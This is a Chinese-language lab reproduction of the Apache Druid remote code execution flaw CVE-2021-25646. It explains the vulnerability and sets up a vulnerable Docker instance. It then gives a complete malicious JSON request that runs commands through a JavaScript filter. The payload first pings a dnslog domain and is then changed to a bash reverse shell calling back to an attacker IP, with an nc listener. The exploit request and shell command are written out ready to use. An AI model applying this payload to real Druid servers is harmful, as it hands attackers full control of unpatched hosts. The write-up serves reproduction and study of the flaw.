Apache Druid 命令执行漏洞(CVE-2-漏洞文库小世界-安全文库-NGC660 安全实验室

Apache Druid 命令执行漏洞(CVE-2

###Apache Druid 命令执行漏洞(CVE-2021-25646)复现–Komorebi

 

Druid 简介

Druid 是一个分布式的、支持实时多维 OLAP 分析的数据处理系统。它既支持高速的数据实时摄入处理,也支持实时且灵活的多维数据分析查询。因此 Druid 最常用的场景就是大数据背景下、灵活快速的多维 OLAP 分析。 另外,Druid 还有一个关键的特点:它支持根据时间戳对数据进行预聚合摄入和聚合分析,因此也有用户经常在有时序数据处理分析的场景中用到它。

漏洞描述

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

复现环境

  • 启动docker,拉取镜像
    _docker pull fokkodriesprong/docker-druid_

1617203354735-279baaa3-0573-4da7-a4d0-340359bede33 _

  • 启动漏洞环境(换了台机器,Ubuntu启动docker后总是卡死~)
    _docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid_

1617203428180-334dcfb8-347f-42c5-a152-472b3c674597

浏览器访问以下IP加888端口看到如下界面即代表环境搭建成功

1617203469862-3e5be6b5-c5f1-4086-b6ce-c7cb13b2785a

漏洞复现

  • 浏览器打开访问链接后依次点击Apache Druid→Load data → Local disk

1617203511684-1858bd82-7c1e-4adc-8d13-def58bd2c413

  • 在右侧Base directory中填入:
    _quickstart/tutorial/_
    File filter中填入:
    _wikiticker-2015-09-12-sampled.json.gz_

1617203553830-b017cb3f-b554-45af-9f35-0657e08acab0

填入完成点击Preview,然后点击next并开启burp抓包

1617203574952-a900aae5-a508-48c0-aef8-d3920144dd22

重复点击next,直到出现 /druid/indexer/v1/sampler?for=filter

1617203593107-5e76bf32-9546-4ab5-a694-22b5e54af62d

将POST正文替换为如下代码并替换dns地址

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",

"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping lo4ayg.dnslog.cn -c 1')}",

"dimension":"added",

"":{

"enabled":"true"

}

}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

1617203653055-e12eaae9-ebfe-46ff-a2ed-979f1c750b50

1617203676250-b33d56b6-2207-40e0-8a58-743c73540da7

将数据包中的dnslog地址替换为如下命令(kali机ip地址为192.168.92.153):
_exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.92.153/9999 0>&1')_
并在kali中设置监听:
_nc -lvp 9999_

1617203743579-29cf2037-be0d-4eb5-acc8-6999d206fc33

1617203709077-c1c212e1-161f-4e30-82ce-e0611586c871

参考链接

Apache Druid 命令执行漏洞复现(CVE-2021-25646) – FreeBuf网络安全行业门户
https://www.freebuf.com/vuls/267027.html

请登录后发表评论

    请登录后查看回复内容